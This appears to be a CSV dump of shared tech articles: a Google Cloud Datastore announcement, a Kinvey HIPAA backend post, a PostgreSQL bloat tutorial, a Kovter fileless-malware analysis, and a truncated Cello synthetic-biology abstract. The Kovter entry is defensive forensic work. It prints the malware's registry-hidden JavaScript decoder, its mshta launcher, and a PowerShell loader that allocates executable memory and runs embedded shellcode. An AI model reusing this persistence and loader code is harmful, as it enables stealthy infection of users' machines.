1459818107,CONTENT SHARED,-7043209138459666190,-1443636648652872475,-5176458476716424321,,,,HTML,https://cloudplatform.googleblog.com/2016/04/Google-Cloud-Datastore-gets-faster-cross-platform-API.html,Google Cloud Datastore gets faster cross-platform API,"Today we're announcing another important update to our NoSQL database, Google Cloud Datastore . We've redesigned the underlying architecture that supports the cross-platform API for accessing Datastore outside of Google App Engine , such as from Google Container Engine and Google Compute Engine , dramatically improving performance and reliability of the database. This follows new and simpler pricing for Cloud Datastore , announced last week. The new Cloud Datastore API version (v1beta3) is available now. You need to enable this API before you can use it, even if you previously enabled an earlier version of the API. Enable Cloud Datastore API We're also publishing a Service Level Agreement (SLA) for the API, which will take effect upon its General Availability release. Now that v1beta3 is available, we're deprecating the old v1beta2 API with a six-month grace period before decommissioning it on September 30th, 2016. New Beta API revision In the new release, we re-architected the entire serving path with an eye on performance and reliability. Cloud Datastore API revision v1beta3 has lower latency in both the average and long tail cases. Whether it's magical items transferring to a player's inventory faster, or browsing financial reports on a website that's snappy - everyone loves fast. In addition to these significant performance improvements, the v1beta3 API gives us a new platform upon which we can continue to improve performance and functionality. You can use v1beta3 using the idiomatic Google Cloud Client Libraries (in Node.js, Python, Java, Go, and Ruby), or alternatively via the low-level native client libraries for JSON and Protocol Buffers over gRPC. You can learn more about the various client libraries in our documentation . Cloud Datastore Service Level Agreement Today we're publishing a SLA for the General Availability release. Accessing Google Cloud Datastore via the Beta API is not covered by an SLA, although the SLA we're publishing can help you estimate the expected performance of the Beta API. The SLA will only take effect when we reach General Availability. App Engine Client libraries for Cloud Datastore are still covered as part of the App Engine SLA . If you're using the Google Cloud Client Libraries, upgrading is as simple as updating the client libraries from GitHub. We look forward to what you build next with our faster cross-platform API for Cloud Datastore. To learn more about Cloud Datastore , check out our getting started guide . - Posted by Dan McGrath, Product Manager, Google Cloud Platform",en
1459822043,CONTENT SHARED,-4704033845097735448,-1032019229384696495,-3279030551983957682,,,,HTML,https://cloudplatform.googleblog.com/2016/04/Google-Cloud-collaborates-with-Kinvey-for-HIPAA-compliant-mobile-Backend-as-a-Service.html,Google Cloud collaborates with Kinvey for HIPAA-compliant mobile Backend-as-a-Service,"Our guest blogs are written by third-party developers, partners and experts with real-world expertise creating and running applications on Google Cloud Platform . They're a great way to dive into the thoughts and opinions of folks at the forefront of software engineering and business development in cloud computing. Today's guest blog is by Sravish Sridhar, Founder and CEO of mobile Backend-as-a-Service provider, Kinvey . Modernizing legacy enterprise apps to work on mobile devices is no small feat, and if you want to be sure those apps still meet tough government regulations once mobile, you're in for a world of complexity. Kinvey's collaborating with Google to simplify this process. We've extended our mobile Backend-as-a-Service - a fully-managed, HIPAA compliant platform built on Google Cloud - to developers at healthcare providers, pharmaceutical companies and in life sciences. Our services satisfy the stringent policies of patient privacy as mandated by U.S. Government HIPAA regulations. Kinvey on GCP provides a decoupled architecture for front-end developers to iterate on their apps and deliver them in an agile manner, without having to wait on backend systems owners to provision connectors to enterprise data and auth systems. Here's how it works: An app developer starts to build the UI/UX of their app using the front-end programming language or framework of their choice - Android, Objective-C, Swift, Ionic, Xamarin, PhoneGap, etc. The developer downloads the Kinvey SDK for the particular language they're using and uses the appropriate Kinvey SDK to take care of client-side functionality like managing and anonymizing auth tokens, marshaling data between the app and Kinvey's backend APIs, offline caching and sync and data encryption. The app is wired up to backend functionality by leveraging Kinvey's backend features , such as an identity service to register/login users, data store to store and retrieve data from the cloud, file store to cache large files like photos and videos, and custom business logic that can be written and provisioned on Kinvey's Node.js PaaS In the meantime, owners of backend enterprise systems can connect Kinvey to their enterprise auth and data sources, without writing any code. They use Kinvey's Mobile Identity Connect (MIC) to connect to auth protocols like Active Directory, OpenID, LDAP, SAML, etc. and Kinvey's RAPID data connectors and custom data links to connect to enterprise data services like Epic, Cerner, SAP and SharePoint. Services provisioned via MIC and RAPID are then made available to the front-end developers by publishing them in Kinvey's Service Catalog, with appropriate access policies. The front-end developer can then ""flip a switch"" and instruct Kinvey to use a MIC auth service instead of the default Kinvey auth service, and one or more RAPID services instead of sample data stored in collections in the Kinvey data store. With no front-end app code change, the app then works end-to-end with enterprise auth and data systems. By providing connectors to Electronic Health Record (EHR) systems like Epic and Cerner, Kinvey makes it easy for developers to launch apps without having to focus on complex enterprise integrations. Healthcare customers require a HIPAA compliant solution to ensure that patient data is secure end-to-end. Google Cloud Platform's infrastructure , Cloud Storage and CDN allow us to store and deliver ​data and files in a highly secure and compliant fashion. Specifically, our mBaaS on Google Cloud offers features such as: Plug-in client features for offline caching, network management and RESTful data access to accelerate development Turn-key backend services for data integration, IAM and orchestration for new mobile use cases Microservices for interconnectivity between your enterprise systems Security at every level from mobile client to infrastructure layer Mobile app analytics and reporting for fine-tuning operations To see how to get started, sign up for Kinvey's HIPAA compliant mobility platform . - Posted by Sravish Sridhar, Founder/CEO, Kinvey",en
1459854147,CONTENT SHARED,-2477364558321255827,-2979881261169775358,-617973132735404952,,,,HTML,https://www.compose.io/articles/postgresql-bloat-origins-monitoring-and-managing/,"PostgreSQL Bloat: origins, monitoring and managing","In Robert M. Wysocki's latest Write Stuff article, he looks at the wider aspects of monitoring and managing the bloat in PostgreSQL. PostgreSQL's MVCC model provides excellent support for running multiple transactions operating on the same data set. One natural consequence of its design is the existence of so-called ""database bloat"". Judging by the amount of questions raised in the Internet it is quite a common problem and not many people seem to know, how to properly deal with it. I myself had the same issues and learnt one or two things that might be helpful, so in this article I'd like to shed some light on this notion - why it's there in the first place, how it can affect performance and finally how to monitor and manage it. In PostgreSQL MVCC - which stands for MultiVersion Concurrency Control - provides each database transaction with a consistent snapshot of the data. (It's important to remember that if no explicit transaction has been opened, each query is a transaction on its own.) This means that changes made in one transaction will become visible to other transaction only after their ""origin"" transaction successfully commits. Actually, it also depends on other transactions' isolation level , but to keep this article simple let's not worry about that. What's really amazing about MVCC is that it manages to deal with quite a complex task like concurrency control using a very simple and clean design. In order to understand why databases get bloated, it's important to get a bit more familiar with MVCC, so let's have a look. admin@aws-eu-west-1-portal:compose (session 1) => create table test as select id from generate_series(1,1000) as id; SELECT 1000 admin@aws-eu-west-1-portal:compose (session 1) => begin; BEGIN admin@aws-eu-west-1-portal:compose (session 1) => select txid_current(); txid_current -------------- 1844 (1 row) admin@aws-eu-west-1-portal:compose (session 1) => select xmin, xmax, id from test limit 5; xmin | xmax | id ------+------+---- 1843 | 0 | 1 1843 | 0 | 2 1843 | 0 | 3 1843 | 0 | 4 1843 | 0 | 5 (5 rows) As you can see, in database session 1 I've created a table called test with only one integer column id and filled it with 1000 rows. Next, I've opened an explicit transaction in which you can see it's identifier and first 5 rows of the test table. Apart from the table's id column I've instructed the query to print also two system columns: xmin and xmax . The former stores the identifier of transaction that has inserted the row and the latter - the identifier of transaction that has deleted it. In case the row hasn't been deleted it, xmax equals 0 . The explicit transaction I've opened has been assigned 1844 identifier. It is greater-or-equal than 1843 , so this particular transaction is able to see the rows. Now please observe what happens in a second database session. admin@aws-eu-west-1-portal:compose (session 2) => begin; BEGIN admin@aws-eu-west-1-portal:compose (session 2) => select txid_current(); txid_current -------------- 1846 (1 row) admin@aws-eu-west-1-portal:compose (session 2) => select xmin, xmax, id from test limit 2; xmin | xmax | id ------+------+---- 1843 | 0 | 1 1843 | 0 | 2 (2 rows) Nothing surprising here, I hope that's clear. Let's delete a tuple in the first session (remember that we still have a transaction opened there). admin@aws-eu-west-1-portal:compose (session 1) => delete from test where id = 1; DELETE 1 admin@aws-eu-west-1-portal:compose (session 1) => select xmin, xmax, id from test where id = 1; xmin | xmax | id ------+------+---- (0 rows) And right after that in session 2: admin@aws-eu-west-1-portal:compose (session 2) => select xmin, xmax, id from test where id = 1; xmin | xmax | id ------+------+---- 1843 | 1844 | 1 (1 row) Although this session's identifier is greater-or-equal than 1844 , it can still see the deleted row, since the deleting transaction hasn't committed its work yet. This is really important - even though the row has been deleted, it has not been physically removed from the data page. It can't be removed, since some transactions may still see it in their snapshots as a standard, live row. Same thing goes for updates, since an UPDATE statement is under the hood nothing else, but a DELETE and INSERT combined. Now it's time to clean up: admin@aws-eu-west-1-portal:compose (session 1) => commit; COMMIT admin@aws-eu-west-1-portal:compose (session 2) => select xmin, xmax, id from test where id = 1; xmin | xmax | id ------+------+---- (0 rows) After transaction run in session 1 commits, transaction running in session 2 immediately ceases to see the deleted row. admin@aws-eu-west-1-portal:compose (session 2) => vacuum verbose test; INFO: vacuuming ""public.test"" INFO: ""test"": removed 1 row versions in 2 pages INFO: ""test"": found 1 removable, 999 nonremovable row versions in 5 out of 5 pages DETAIL: 0 dead row versions cannot be removed yet. As you can see, after all is done, VACUUM takes care of the deleted tuple; it checks that there are no longer any transactions running that can see this row and it removes it (well, it's a bit more complicated, but about that later). Rows like this are called ""dead rows"" and if not for VACUUM , they would remain in the database's files forever. This simple exercise demonstrates the process leading to formation of what is known as ""database bloat"". Under certain circumstances, with autovacuum daemon not aggressive enough, for heavily-written tables bloat can be a problem that has to be taken care of by the DBA. The mechanics of MVCC make it obvious why VACUUM exists and the rate of changes in databases nowadays makes a good case for the existence of autovacuum daemon . Although it's common for new PostgreSQL users to be reluctant about setting autovacuum to on (or eager to turn it off, as it's on by default), folks at compose.io did a good job. admin@aws-eu-west-1-portal:compose (session 2) => select name, setting from pg_settings where name = 'autovacuum'; name | setting ------------+--------- autovacuum | on (1 row) No imagine your table has a lot of dead tuples. Each sequential scan going through the table has to make its way to live rows dodging the dead ones. Obviously, it makes it go lot slower. On the other hand each index scan has to follow index pointers to dead rows just to see that they're... well, dead. So again - it could've been faster if not for the bloat. (Yes, indexes can also get bloated, but to keep things simple this article covers only data bloat.) Another problem is that VACUUM does not actually remove all the dead tuples. It has some limitations. What VACUUM does is simply check, if the tuple is dead and if so, mark the space it utilises as suitable for being reused. So it most cases it actually does not return the disk space to the underlying filesystem. The reason for that is simple - data in PostgreSQL data files is organised in pages, each page having 8kB by default. VACUUM is able to shirk data files only, if the rows deemed dead are at the very end of the very last data page of the entire data file (it's worth mentioning here, that the data file is actually stored in a number of 1GB fragments). I've seen cases where a large table had its rows updated few times and then was only read from; even though VACUUM has marked the dead rows as suitable for reuse, the data file was twice (or more!) the size of the table (or, to be exact, the sum of sizes of the live rows in the table in question). What's also quite problematic when reading from heavily bloated tables is the I/O; the more data to go through the more input/output operations are needed. As you can see, lots of dead rows can cause lots of problems, so it's necessary to at least keep track of the bloat percentage of your tables. Let's have a look at one simple scenario: admin@aws-eu-west-1-portal:compose (session 1) => truncate test; TRUNCATE TABLE admin@aws-eu-west-1-portal:compose (session 1) => insert into test (id) select * from generate_series(1,10000000); INSERT 0 10000000 admin@aws-eu-west-1-portal:compose (session 1) => \d+ List of relations Schema | Name | Type | Owner | Size | Description --------+------+-------+-------+--------+------------- public | test | table | admin | 346 MB | (1 row) admin@aws-eu-west-1-portal:compose (session 1) => explain (buffers, analyse) select * from test where id = 9999999; QUERY PLAN ------------------------------------------------------------------------------------------------------- Seq Scan on test (cost=0.00..176992.00 rows=1 width=4) (actual time=855.088..855.089 rows=1 loops=1) Filter: (id = 9999999) Rows Removed by Filter: 9999999 Buffers: shared hit=16202 read=28046 Planning time: 0.043 ms Execution time: 855.120 ms (6 rows) I've truncated our test table and inserted 10,000,000 new rows. Then, I've selected one of them. It took some time since there's no index and PostgreSQL had to go through all the data pages to find the requested row. What's most interesting in this exercise are the hit and read buffer counters; they show, how many rows have been found in shared buffers (hit) and how many have been read from disk (read). Now, let's create some bloat! admin@aws-eu-west-1-portal:compose (session 1) => delete from test where id > 1000 and id < 9000000; DELETE 8998999 admin@aws-eu-west-1-portal:compose (session 1) => vacuum analyse verbose test; INFO: vacuuming ""public.test"" INFO: ""test"": removed 8998999 row versions in 39820 pages INFO: ""test"": found 8998999 removable, 1001001 nonremovable row versions in 44248 out of 44248 pages DETAIL: 0 dead row versions cannot be removed yet. There were 0 unused item pointers. 0 pages are entirely empty. CPU 0.50s/1.05u sec elapsed 2.11 sec. INFO: analyzing ""public.test"" INFO: ""test"": scanned 30000 of 44248 pages, containing 671315 live rows and 0 dead rows; 30000 rows in sample, 993641 estimated total rows VACUUM admin@aws-eu-west-1-portal:compose (session 1) => \d+ List of relations Schema | Name | Type | Owner | Size | Description --------+------+-------+-------+--------+------------- public | test | table | admin | 346 MB | (1 row) As you can see, I've deleted most of the rows and then run a VACUUM which reported that there are no pages entirely empty, so no pages have been removed hence the table size stays the same. The disk space occupied by the deleted rows have now been marked as available for reuse, but it is still part of this table's data file. Let's see, what happens, if I'll run the same SELECT now. admin@aws-eu-west-1-portal:compose (session 1) => explain (buffers, analyse) select * from test where id = 9999999; QUERY PLAN ------------------------------------------------------------------------------------------------------ Seq Scan on test (cost=0.00..56668.51 rows=1 width=4) (actual time=178.370..178.372 rows=1 loops=1) Filter: (id = 9999999) Rows Removed by Filter: 1001000 Buffers: shared hit=16219 read=28029 Planning time: 0.053 ms Execution time: 178.409 ms (6 rows) It it faster, than the previous one, but notice that the hit and read buffer counters are more or less the same, as during the previous run. What this mean is that this time PostgreSQL has read the buffers not directly from disk, but from OS cache. Basically the amount of work PostgreSQL had to do now was pretty much the same, as previously. What can we do about it? admin@aws-eu-west-1-portal:compose (session 1) => vacuum full analyse verbose test; INFO: vacuuming ""public.test"" INFO: ""test"": found 0 removable, 1001001 nonremovable row versions in 44248 pages DETAIL: 0 dead row versions cannot be removed yet. CPU 0.16s/0.36u sec elapsed 0.58 sec. INFO: analyzing ""public.test"" INFO: ""test"": scanned 4430 of 4430 pages, containing 1001001 live rows and 0 dead rows; 30000 rows in sample, 1001001 estimated total rows VACUUM admin@aws-eu-west-1-portal:compose (session 1) => \d+ List of relations Schema | Name | Type | Owner | Size | Description --------+------+-------+-------+-------+------------- public | test | table | admin | 35 MB | (1 row) VACUUM FULL is one of the ways of removing bloat. It essentially rewrites the whole table (holding an AccessExclusiveLock while doing it). Much has been said about why not to use VACUUM FULL if there are other ways of dealing with bloat. But it's perfect for our simple exercise. Thanks to a full rewrite, table size went down from ~350MB to 35MB. Let's select the same row now. admin@aws-eu-west-1-portal:compose (session 1) => explain (buffers, analyse) select * from test where id = 9999999; QUERY PLAN ---------------------------------------------------------------------------------------------------- Seq Scan on test (cost=0.00..16942.51 rows=1 width=4) (actual time=86.967..86.969 rows=1 loops=1) Filter: (id = 9999999) Rows Removed by Filter: 1001000 Buffers: shared hit=32 read=4398 Planning time: 0.125 ms Execution time: 87.005 ms (6 rows) Thanks to removing the bloat we created, PostgreSQL has now much less data to go through and is able to satisfy our query much faster. Monitoring database bloat is pretty simple; the useful check_postgres script can do that for you. Apart from that, there are few various queries . It is also possible to use the pgstattuple module. My personal favourite is a query by ioguix . Let me show you its output on my test database. admin@aws-eu-west-1-portal:compose (session 1) => truncate test; TRUNCATE TABLE admin@aws-eu-west-1-portal:compose (session 1) => insert into test (id) select * from generate_series(1,10000000); INSERT 0 10000000 admin@aws-eu-west-1-portal:compose (session 1) => delete from test where id > 1000 and id < 9000000; DELETE 8998999 admin@aws-eu-west-1-portal:compose (session 1) => \e current_database | schemaname | tblname | real_size | extra_size | extra_ratio | fillfactor | bloat_size | bloat_ratio | is_na ------------------+------------+---------+-----------+------------+------------------+------------+------------+------------------+------- compose | public | test | 362479616 | 324009984 | 89.3870909419635 | 100 | 324009984 | 89.3870909419635 | f (1 row) As already mentioned, the traditional way of dealing with bloat is using VACUUM FULL . This isn't really advised in production environments mainly because heavy locking - this utility query has to acquire and hold throughout its duration the strongest existing lock - AccessExclusiveLock . It basically takes the whole table out of any operation until it finishes. But fortunately there are better ways of removing bloat nowadays. Basically, it can be done in one of two ways. Firstly, we can rewrite the table as VACUUM FULL does, but in a more gracious way. The approach pg_repack takes is simple, yet very effective - let's create an identical, but empty table, place some triggers on the original one and copy its contents to the new one. Triggers take care of synchronising all the changes (including new rows) to the intermediate table while the process is running and after it's done, pg_repack recreates all the indexes and swaps the two tables. This way the original table isn't totally locked and there's only a brief outage when the tables have to be swapped. One downside though is that pg_repack requires extra disk space for the intermediate table. Secondly, we can force table reorganisation to reuse the space marked as available by VACUUM runs. The great pgcompact script does that using the idea presented by depesz in two blog posts. Basically, knowing which pages in our data file have gaps we can try and execute so-called ""empty updates"" forcing PostgreSQL to create new row versions and to place them in the gaps we want to fill. Head to depesz's posts for detailed description. One other thing worth mentioning is that pgcompact is smart enough to prevent any triggers you might have from firing by setting session_replication_role to replica . Neat! Let's have a look at clearing bloat (using pgcompact ) on my test database hosted at compose.io . $ ./pgcompact -v info -h aws-eu-west-1-portal.2.dblayer.com -p 10392 -U admin -W my_secret_password -d compose -t test Sat Mar 12 17:05:10 2016 ERROR A database error occurred, exiting: DatabaseChooserError Can not find an adapter amongst supported: DatabaseError Can not execute command: SET lc_messages TO 'C'; SET session_replication_role TO replica; SET statement_timeout TO '0'; SET synchronous_commit TO off; ERROR: permission denied to set parameter ""lc_messages"" DatabaseError Can not execute command: SET lc_messages TO 'C'; SET session_replication_role TO replica; SET statement_timeout TO '0'; SET synchronous_commit TO off; ERROR: permission denied to set parameter ""lc_messages"" DatabaseError Can not executie command: SET lc_messages TO 'C'; SET session_replication_role TO replica; SET statement_timeout TO '0'; SET synchronous_commit TO off; SELECT 1; ERROR: permission denied to set parameter ""lc_messages"" ERROR: permission denied to set parameter ""session_replication_role"" Oh darn! Looks like we need superuser privileges to set some of the parameters. Let's try pg_repack . $ ./pg_repack -E info -h aws-eu-west-1-portal.2.dblayer.com -p 10392 -U admin -d compose -t test ERROR: pg_repack failed with error: You must be a superuser to use pg_repack Ouch! The thing is that pg_repack modifies system catalogues directly in order to swap the two tables. This can only be done by superuser. Fortunately one of depesz's posts covers going through the process manually and there's no reason it shouldn't work. Some resources worth taking a look at: Robert M. Wysocki is a freelance PostgreSQL consultant, experienced GNU/Linux administrator and author of travellingsysop.net technical blog This article is licensed with CC-BY-NC-SA 4.0 by Compose.",en
1459854286,CONTENT SHARED,-7796858148829878756,-2979881261169775358,-617973132735404952,,,,HTML,http://blog.airbuscybersecurity.com/post/2016/03/FILELESS-MALWARE-%E2%80%93-A-BEHAVIOURAL-ANALYSIS-OF-KOVTER-PERSISTENCE,Fileless Malware - A Behavioural Analysis Of Kovter Persistence,"Analysis Lab Setup The analysis of the malware was conducted on the REMWorkstation VM from the SANS FOR610 course as this comes preconfigured with a healthy collection of monitoring tools. A clean snapshot of the VM was used with Process Monitor, CaptureBat and ProcessHacker all running in order to observe the execution. No network connectivity was present. Infection The malware was executed using the Administrator account in order to allow it freedom to demonstrate a full range of behaviour. The process was allowed to run for approximately 60 seconds. Analysis Observing the infection in Process Monitor it was possible to see the following processes execute: poss_kovter.exe poss_kovter.exe wmiprvse.exe mshta.exe powershell.exe regsvr32.exe regsvr32.exe Loading the CSV into ProcDot and selecting the original kovter process as the initiating process produced the following graph (Please see the attachments to this post for full size versions of the images). Interestingly although it is possible to see the second copy of the kovter process running here there are no references to starting the other processes, observed in Process Hacker. It appears that the second copy of kovter invokes the mshta.exe via the Windows Management Interface (WMI). Of particular interest were the various registry keys created by the process. In this particular instance they were all created under the HKLM\Software Key. Examining the first of the two regsvr32.exe processes we can see that a thread is started and a copy of the original kovter executable is loaded into it. This is then used to start a second process hollowed version of regsvr32.exe. As this still didn't demonstrate the expected use of powershell it was decided to examine the WMI Service (wmiprvse.exe). It was not possible to load the graph for this process without disabling the display of registry keys. This gave the following graph (split into 3 to allow easier viewing). As demonstrated in these graphs this results in The Microsoft Scripting Engine (mshta.exe) is invoked through WMI, which in turn uses Powershell to start the previously observed regsvr32.exe, with the injected kovter payload. As ProcDot was unable to display the registry keys it was necessary to manually examining the information from the CSV file output by Process Monitor. As kovter uses the registry for persistence, the CSV file was searched for RegSetValue operations with ""mshta"" in the details. This produced the following results: Interestingly these keys cannot be recovered from regedit or the ""reg query"" command line tool as they include a non-ascii character in the subkey name. This is also what causes the problem with rendering in ProcDot. Although each key uses a slightly different obfuscation , when deobfuscated they all feature the same code: ScriptingShell = new ActiveXObject(""Wscript.Shell""); Payload = ScriptingShell.RegRead(""HKLM\software\ZyxLQz1U8xBw4Pco""); eval(Payload); Note that this registry value is random and is unique to the infection. It corresponds to one of the values seen in the ProcDot graph for the original infection. This registry key contains further obfuscated javascript which once cleaned up appears thus: EncipheredPayload = ""7F62342526...Snip...15244427C""; Key = ""03zLOEZm19bJMl14uMp0R7lkGXegNgbSpZxXMtk19HMznwMMbLhAJf1VAoqQARq2txJ7gNlzNl8RPkqFSzsk40n""; DecipheredPayload = """"; IntermediatePayload = """"; for (i = 0; i < EncipheredPayload.length; i += 2) IntermediatePayload += String.fromCharCode(parseInt(EncipheredPayload.substr(i, 2), 16)); for (i = j = 0; j < IntermediatePayload.length; j++) { DecipheredPayload += String.fromCharCode(IntermediatePayload.substr(j, 1).charCodeAt() ^ Key.substr(i, 1).charCodeAt()); i = (i < Key.length - 1) ? i + 1 : 0; } eval(DecipheredPayload); In essence this code takes a string of hex values, converts the hex to ascii and then XORs the resulting string with a key to produce a new javascript. This new javascript is then executed with the eval function. The deciphered javascript is: try { moveTo(-100, -100); resizeTo(0, 0); pc60 = new ActiveXObject(""WScript.Shell""); (pc60.Environment(""Process""))(""hpmogev"") = ""iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('c2xlZXAoNDApO3RyeXtmdW5jdGlvbiBnZGVsZWdhdGV7UGFyYW0gKFtQYXJhbWV0ZXIoUG9zaXRpb249MCxNYW5kYXRvcnk9JFRydWUpXSBbVHlwZVtdXSAkUGFyYW1ldGVycyxbUGFyYW1ldGVyKFBvc2l0aW9uPTEpXSBbVHlwZV0gJFJldHVyblR5cGU9W1ZvaWRdKTskVHlwZUJ1aWxkZXI9W0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgiUmVmbGVjdGVkRGVsZWdhdGUiKSksW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuKS5EZWZpbmVEeW5hbWljTW9kdWxlKCJJbk1lbW9yeU1vZHVsZSIsJ ...snip... cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigoZ3Byb2Mga2VybmVsMzIuZGxsIENyZWF0ZVRocmVhZCksKGdkZWxlZ2F0ZSBAKFtJbnRQdHJdLFtVSW50MzJdLFtCeXRlW11dLFtCeXRlW11dLFtVSW50MzJdLFtJbnRQdHJdKSAoW0ludFB0cl0pKSkpLkludm9rZSgwLDAsJHNjMzIsJHNjMzIsMCwwKTt9c2xlZXAoMTIwMCk7fWNhdGNoe31leGl0Ow==')))""; xya6c = pc60.Run(""C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iex $env:hpmogev"", 0, 1); } catch (e) {} close(); This takes a base64 encoded payload, decodes it and stores it in an environment variable, again with a random name varying from infection to infection. It then executes powershell and instructs it to load a script from the environment variable. The powershell script is: sleep(40); try{ function gdelegate{ Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]); $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(""ReflectedDelegate"")),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(""InMemoryModule"",$false).DefineType(""XXX"",""Class,Public,Sealed,AnsiClass,AutoClass"",[System.MulticastDelegate]); $TypeBuilder.DefineConstructor(""RTSpecialName,HideBySig,Public"",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags(""Runtime,Managed""); $TypeBuilder.DefineMethod(""Invoke"",""Public,HideBySig,NewSlot,Virtual"",$ReturnType,$Parameters).SetImplementationFlags(""Runtime,Managed""); return $TypeBuilder.CreateType(); } function gproc{ Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure); $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{ $_.GlobalAssemblyCache -And $_.Location.Split("""")[-1].Equals(""System.dll"") } ; $UnsafeNativeMethods=$SystemAssembly.GetType(""Microsoft.Win32.UnsafeNativeMethods""); return $UnsafeNativeMethods.GetMethod(""GetProcAddress"").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod(""GetModuleHandle"").Invoke($null,@($Module)))),$Procedure)); } [Byte[]] $sc32 = 0x55,0x8B,0xEC,0x81,0xC4,0x00,0xFA,0xFF,0xFF,0x53,0x56,0x57,0x53,0x56,0x57,0xFC,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x6A,0x18,0x59,0x31,0xFF,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A,0x10,0x8B,0x12,0x75,0xDB,0x89,0x5D,0xFC,0x5F,0x5E,0x5B,0x8B,0x45,0xFC,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x66,0x81,0 ...snip... B,0x75,0x0C,0x8B,0x4D,0x10,0xF3,0xA4,0x61,0x5D,0xC2,0x0C,0x00,0xBD,0xDD,0x50,0x1A,0xE0,0xAD,0x75,0x5F,0xA5,0x2D,0x33,0x04,0x3B,0x01,0x10,0x05,0xE6,0xE7,0x8A,0x6C,0xA1,0x4A,0x1C,0x71,0x5C,0xF0,0xEC,0xD2,0x78,0xE2,0x60,0x9D,0x60,0xBD,0x0A,0xCB,0x50,0x18,0xB4,0x68,0xAD,0xAD,0x80,0x1E,0x8F,0x6F,0x5C,0x65,0x4C; [Uint32[]] $op=0; $r=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualProtect),(gdelegate @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($sc32,$sc32.Length,0x40,$op); if($r -eq 0){ $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); if($pr -ne 0){ $memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset),(gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); for ($i=0; $i -le ($sc32.Length-1); $i++) { $memset.Invoke(($pr+$i), $sc32[$i], 1) } ; ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); } } else{ ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[Byte[]],[Byte[]],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$sc32,$sc32,0,0); } sleep(1200); } catch{ } exit; This script essentially creates a custom library function import routine to load VirtualProtect, VirtualAlloc and CreateThread from kernel32.dll as well as memset from msvcrt.dll. It then uses these functions to allocate a region of executable memory, copy a hex encoded shellcode into that location and then execute it in a new thread. This new thread then goes on to spawn the first regsvr32.exe process. Conclusions Kovter is able to conceal itself in the registry and maintain persistence through the use of several concealed run keys. Aside from the initial infecting executable, which may or may not touch the disk, and which is deleted following infection, there should be very few file system artefacts to find. Powershell does not maintain a log of commands, and the environment variable is lost after the Powershell process exits so there is very little chance of recovering the script executed and the final payload without following an RE process.",en
1459854346,CONTENT SHARED,-569322218183730892,-2979881261169775358,-617973132735404952,,,,HTML,http://cidarlab.org/cello/,Cello,"Publications: A. A. K. Nielsen, B. S. Der, J. Shin, P. Vaidyanathan, V. Paralanov, E. A. Strychalski, D. Ross, D. Densmore, and C. A. Voigt, ""Genetic circuit design automation,"" Science, vol. 352, iss. 6281, 2016. doi:10.1126/science.aac7341 [BibTeX] [Abstract] [Download PDF] As synthetic biology techniques become more powerful, researchers are anticipating a future in which the design of biological circuits will be similar to the design of integrated circuits in electronics. Nielsen et al. describe what is essentially a programming language to design computational circuits in living cells. The circuits generated on plasmids expressed in Escherichia coli required careful insulation from their genetic context, but primarily functioned as specified. The circuits could, for example, regulate cellular functions in response to multiple environmental signals. Such a strategy can facilitate the development of more complex circuits by genetic engineering.Science, this issue p. 10.1126/science.aac7341INTRODUCTIONCells respond to their environment, make decisions, build structures, and coordinate tasks. Underlying these processes are computational operations performed by networks of regulatory proteins that integrate signals and control the timing of gene expression. Harnessing this capability is critical for biotechnology projects that require decision-making, control, sensing, or spatial organization. It has been shown that cells can be programmed using synthetic genetic circuits composed of regulators organized to generate a desired operation. However, the construction of even simple circuits is time-intensive and unreliable.RATIONALEElectronic design automation (EDA) was developed to aid engineers in the design of semiconductor-based electronics. In an effort to accelerate genetic circuit design, we applied principles from EDA to enable increased circuit complexity and to simplify the incorporation of synthetic gene regulation into genetic engineering projects. We used the hardware description language Verilog to enable a user to describe a circuit function. The user also specifies the sensors, actuators, and {\textquotedblleft}user constraints file{\textquotedblright} (UCF), which defines the organism, gate technology, and valid operating conditions. Cello (www.cellocad.org) uses this information to automatically design a DNA sequence encoding the desired circuit. This is done via a set of algorithms that parse the Verilog text, create the circuit diagram, assign gates, balance constraints to build the DNA, and simulate performance.RESULTSCello designs 